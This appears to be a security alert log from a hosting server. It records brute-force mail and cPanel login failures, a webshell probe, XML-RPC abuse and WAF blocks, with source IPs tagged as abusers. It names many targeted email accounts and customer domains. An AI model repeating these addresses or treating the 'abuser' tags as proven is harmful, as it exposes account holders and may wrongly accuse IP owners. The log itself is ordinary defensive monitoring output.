2026-01-30 13:23:01 dovecot_login authenticator failed for H=([36.249.98.23]) [36.249.98.23]:47946: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-30 13:23:20 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:20524: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.75.254.157
country_id: 3017382
description:
[2026-01-30 13:26:14 +0800] info [cpaneld] 51.75.254.157 - agpc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user agpc (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 13:27:55 H=(localhost.localdomain) [45.150.192.143]:41734 F=<info@kapkenya.org> temporarily rejected RCPT <info@mkmetal.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.122.199.19
country_id: 1814991
description:
2026-01-30 13:27:02 dovecot_login authenticator failed for H=([157.122.199.19]) [157.122.199.19]:47326: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.211.96
country_id: 99237
description:
2026-01-30 13:27:26 dovecot_login authenticator failed for H=([65.20.211.96]) [65.20.211.96]:60766: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.98.66.5
country_id: 3469034
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/press-details.php?id=949056 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 175.107.200.215
country_id: 1168579
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=124717 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 144.31.238.24
country_id: 6252001
description:
[2026-01-30 13:28:10 +0800] info [cpaneld] 144.31.238.24 - afcmalaysia "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afcmalaysia (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.21
country_id: 337996
description:
2026-01-30 13:28:27 dovecot_login authenticator failed for H=([196.188.187.21]) [196.188.187.21]:39828: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.44
country_id: 690791
description:
2026-01-30 13:29:06 H=([45.144.212.44]) [45.144.212.44]:64983 F=<Gokhan.Emlik@sofragrup.com> rejected RCPT <info@oxbold.com>: SPF: 45.144.212.44 is not allowed to send mail from sofragrup.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 13:29:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:47299: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.173.105.206
country_id: 1814991
description:
2026-01-30 13:29:38 dovecot_login authenticator failed for H=([60.173.105.206]) [60.173.105.206]:53559: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.108.13
country_id: 1814991
description:
2026-01-30 13:29:52 dovecot_login authenticator failed for H=([119.6.108.13]) [119.6.108.13]:42490: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 167.94.138.120
country_id: 6252001
description:
Jan 30 13:30:32 sv3 pure-ftpd[2854833]: (?@167.94.138.120) [INFO] New connection from 167.94.138.120


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 13:30:45 H=(localhost.localdomain) [45.150.192.143]:43274 F=<info@kapkenya.org> temporarily rejected RCPT <astpkg@astlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.84.25.45
country_id: 3175395
description:
2026-01-30 13:30:48 dovecot_plain authenticator failed for H=(aroof) [82.84.25.45]:38114: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 13:30:51 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (unicaps) [87.103.126.54]:37228: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 13:31:44 dovecot_login authenticator failed for H=(bj1WfINkj) [185.230.124.69]:50043: 535 Incorrect authentication data (set_id=prakash@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 13:31:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:15654: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 13:31:27 H=(localhost.localdomain) [45.150.192.143]:44004 F=<info@kapkenya.org> temporarily rejected RCPT <celine@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 13:32:11 dovecot_login authenticator failed for H=(DbYo2pkoaR) [185.230.124.69]:57401: 535 Incorrect authentication data (set_id=prakash@essemgroup.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 144.31.238.24
country_id: 6252001
description:
[2026-01-30 13:32:44 +0800] info [cpaneld] 144.31.238.24 - payment@tujusetia.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.91.97.193
country_id: 2750405
description:
2026-01-30 13:32:55 dovecot_login authenticator failed for H=193.97.91.34.bc.googleusercontent.com (10.164.0.2) [34.91.97.193]:65000: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 13:33:17 dovecot_login authenticator failed for H=(hYyuXguQVo) [185.230.124.69]:49928: 535 Incorrect authentication data (set_id=prakash@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.91.97.193
country_id: 2750405
description:
2026-01-30 13:33:02 dovecot_login authenticator failed for H=193.97.91.34.bc.googleusercontent.com (10.164.0.2) [34.91.97.193]:65493: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-01-30 13:33:15 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:56493: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.104.42
country_id: 1269750
description:
2026-01-30 13:33:39 dovecot_login authenticator failed for H=([27.123.104.42]) [27.123.104.42]:35712: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 13:33:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:53737: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 13:34:02 dovecot_login authenticator failed for H=(x8n7hmGmG) [185.230.124.69]:64026: 535 Incorrect authentication data (set_id=prakash@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.141.143.58
country_id: 1835841
description:
2026-01-30 13:35:44 dovecot_login authenticator failed for H=([115.141.143.58]) [115.141.143.58]:37987: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.178.120.157
country_id: 1831722
description:
[2026-01-30 13:35:10 +0800] info [cpaneld] 202.178.120.157 - maalloys "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maalloys (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.146.217.105
country_id: 1861060
description:
2026-01-30 13:35:13 dovecot_login authenticator failed for H=105.217.146.34.bc.googleusercontent.com [34.146.217.105]:51928: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.200.88.25
country_id: 2589581
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/event-dispatcher/DependencyInjection/RegisterListenersPass.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-01-30 13:36:52 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:61743: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.147.75
country_id: 1269750
description:
2026-01-30 13:36:28 dovecot_login authenticator failed for H=([203.193.147.75]) [203.193.147.75]:57974: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.235.102.213
country_id: 1269750
domain: hmz.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:38417.hmz.com.my||ServerName:hmz.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:de042a30278845f5d130ccb1be227a0944d9cce2||Title:0xda70a6da||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.141.74
country_id: 298795
description:
2026-01-30 13:39:26 dovecot_plain authenticator failed for H=(freggings) [5.11.141.74]:47778: 535 Incorrect authentication data (set_id=jun@kdiballoon.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.143.201.18
country_id: 690791
description:
2026-01-30 13:39:56 dovecot_login authenticator failed for H=(host-18-201-143-83.reedlan.com) [83.143.201.18]:48752: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.248.226
country_id: 1733045
description:
[2026-01-30 13:39:59 +0800] info [webmaild] 27.125.248.226 - cmchin@chs.com.my "POST /cpsess1250265831/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.248.56] != Current IP Address [27.125.248.226]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.107.237.126
country_id: 1835841
description:
2026-01-30 13:40:40 dovecot_login authenticator failed for H=([211.107.237.126]) [211.107.237.126]:47280: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.10.10.20
country_id: 1814991
description:
2026-01-30 13:40:02 dovecot_login authenticator failed for H=([221.10.10.20]) [221.10.10.20]:36579: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-30 13:41:04 +0800] info [webmaild] 180.75.72.60 - pr@smartcable.com.my "GET /cpsess9084765842/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.234.181.218
country_id: 1562822
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/activity-details.php?id=222230 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-01-30 13:42:49 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:59080: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 64.89.163.225
country_id: 2635167
description:
Jan 30 13:42:19 sv3 pure-ftpd[2868025]: (?@64.89.163.225) [WARNING] Authentication failed for user [mkmetalc]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.86.4
country_id: 1814991
description:
2026-01-30 13:42:26 dovecot_login authenticator failed for H=([60.174.86.4]) [60.174.86.4]:33362: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/img/photos/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-30 13:43:39 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:49100: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 13:44:06 H=(localhost.localdomain) [45.150.192.143]:56420 F=<info@kapkenya.org> temporarily rejected RCPT <inquiries@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.152.138.178
country_id: 1814991
description:
2026-01-30 13:45:27 dovecot_login authenticator failed for H=([39.152.138.178]) [39.152.138.178]:55265: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-01-30 13:45:55 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:46747: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 216.24.213.43
country_id: 2921044
description:
2026-01-30 13:45:25 dovecot_login authenticator failed for H=(ADMIN) [216.24.213.43]:32962: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.141.143.58
country_id: 1835841
description:
2026-01-30 13:46:44 dovecot_login authenticator failed for H=([115.141.143.58]) [115.141.143.58]:43627: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.136.176.12
country_id: 2510769
description:
2026-01-30 13:46:53 dovecot_login authenticator failed for H=([83.136.176.12]) [83.136.176.12]:39596: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.212.17.174
country_id: 2017370
description:
2026-01-30 13:47:58 dovecot_login authenticator failed for H=([155.212.17.174]) [155.212.17.174]:57268: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-01-30 13:48:31 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:49200: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-30 13:48:33 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:47990: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 13:48:36 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (rellite) [87.103.126.54]:13609: 535 Incorrect authentication data (set_id=admin@agsaintifik.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.248.56
country_id: 1733045
description:
[2026-01-30 13:48:51 +0800] info [webmaild] 27.125.248.56 - cmchin@chs.com.my "POST /cpsess3688905894/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.248.226] != Current IP Address [27.125.248.56]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-01-30 13:48:14 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:57746: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-30 13:48:59 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:60276: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.25.233.22
country_id: 1814991
description:
2026-01-30 13:49:06 dovecot_login authenticator failed for H=([218.25.233.2]) [218.25.233.22]:48890: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-30 13:49:10 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:53514: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.171.70.150
country_id: 2017370
description:
2026-01-30 13:49:19 dovecot_login authenticator failed for H=([83.171.70.150]) [83.171.70.150]:42224: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.134
country_id: 1269750
description:
2026-01-30 13:50:42 dovecot_login authenticator failed for H=([182.95.215.73]) [182.95.230.134]:44944: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.58.242
country_id: 1835841
description:
2026-01-30 13:51:05 dovecot_login authenticator failed for H=([61.72.58.242]) [61.72.58.242]:58583: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.98.68.199
country_id: 1835841
description:
2026-01-30 13:51:05 dovecot_login authenticator failed for H=([183.98.68.199]) [183.98.68.199]:35133: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 13:52:23 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:63392: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.180
country_id: 2750405
description:
2026-01-30 13:52:22 971318 [Warning] Aborted connection 971318 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.180' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.245.202
country_id: 1814991
description:
2026-01-30 13:52:02 dovecot_login authenticator failed for H=([218.21.245.202]) [218.21.245.202]:35267: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 13:52:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56876: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.85.164
country_id: 1733045
description:
[2026-01-30 13:53:37 +0800] info [webmaild] 180.75.85.164 - purchase@pftfood.com "GET /cpsess6629673448/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 13:53:45 dovecot_login authenticator failed for H=(9I5oafvFy) [185.230.124.69]:54942: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 13:54:11 dovecot_login authenticator failed for H=(Zns1XBq) [185.230.124.69]:65230: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 183.171.68.160
country_id: 1733045
description:
[2026-01-30 13:55:11 +0800] info [webmaild] 183.171.68.160 - payment@tujusetia.my "GET /cpsess8689243748/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.180
country_id: 2750405
description:
2026-01-30 13:55:13 971443 [Warning] Aborted connection 971443 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.180' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 13:55:20 dovecot_login authenticator failed for H=(SNPADg923m) [185.230.124.69]:62164: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-30 13:55:53 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:37170: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.185.29.233
country_id: 3469034
description:
2026-01-30 13:56:40 dovecot_login authenticator failed for H=(corporativo.static.gvt.net.br) [179.185.29.233]:47596: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.142.106.177
country_id: 298795
description:
2026-01-30 13:56:48 dovecot_login authenticator failed for H=([188.132.210.145]) [195.142.106.177]:12002: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 13:56:04 dovecot_login authenticator failed for H=(jtWKnsGNU) [178.16.54.22]:50314: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 12.150.243.22
country_id: 6252001
description:
2026-01-30 13:56:05 dovecot_plain authenticator failed for H=(aouper) [12.150.243.22]:14888: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 13:56:08 dovecot_login authenticator failed for H=(EcMreX5NwG) [185.230.124.69]:59536: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 13:57:03 dovecot_login authenticator failed for H=(4GdTlByujm) [185.230.124.69]:54279: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.61.81
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=1098 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 13:57:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:47306: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 13:57:18 dovecot_login authenticator failed for H=(bHeQFn) [185.230.124.69]:49807: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 13:57:21 dovecot_login authenticator failed for H=(EtEPYYzwc2) [178.16.54.22]:57172: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.169.217.241
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=24 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 13:57:35 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 13:58:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 13:58:05 dovecot_login authenticator failed for H=(MFLz9FtF1) [185.230.124.69]:51276: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.35.178.104
country_id: 732800
description:
2026-01-30 13:58:28 dovecot_plain authenticator failed for H=(expomedaes) [46.35.178.104]:40182: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.197.236.163
country_id: 6252001
description:
2026-01-30 13:58:33 dovecot_plain authenticator failed for H=c-73-197-236-163.hsd1.nj.comcast.net (sanal) [73.197.236.163]:60192: 535 Incorrect authentication data (set_id=jun@kdiballoon.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 13:58:52 dovecot_login authenticator failed for H=(ApVMoFU) [185.230.124.69]:60282: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 13:59:07 dovecot_login authenticator failed for H=(Q9o8gf8) [178.16.54.22]:63157: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 13:59:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:15659: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 13:59:04 dovecot_login authenticator failed for H=(wZEYrcwhwx) [185.230.124.69]:60305: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 13:59:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:00:01 dovecot_login authenticator failed for H=(hB6lFhpC5) [178.16.54.22]:57123: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:00:18 dovecot_login authenticator failed for H=(BMIESk) [185.230.124.69]:64177: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:00:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.59.48
country_id: 1733045
description:
[2026-01-30 14:01:51 +0800] info [webmaild] 60.54.59.48 - general@acburn.com.my "GET /cpsess8849589841/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.49.180.230
country_id: 1269750
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=21051514942871 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.74
country_id: 2782113
description:
2026-01-30 14:01:13 dovecot_login authenticator failed for H=(ADMIN) [156.146.60.74]:34164: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
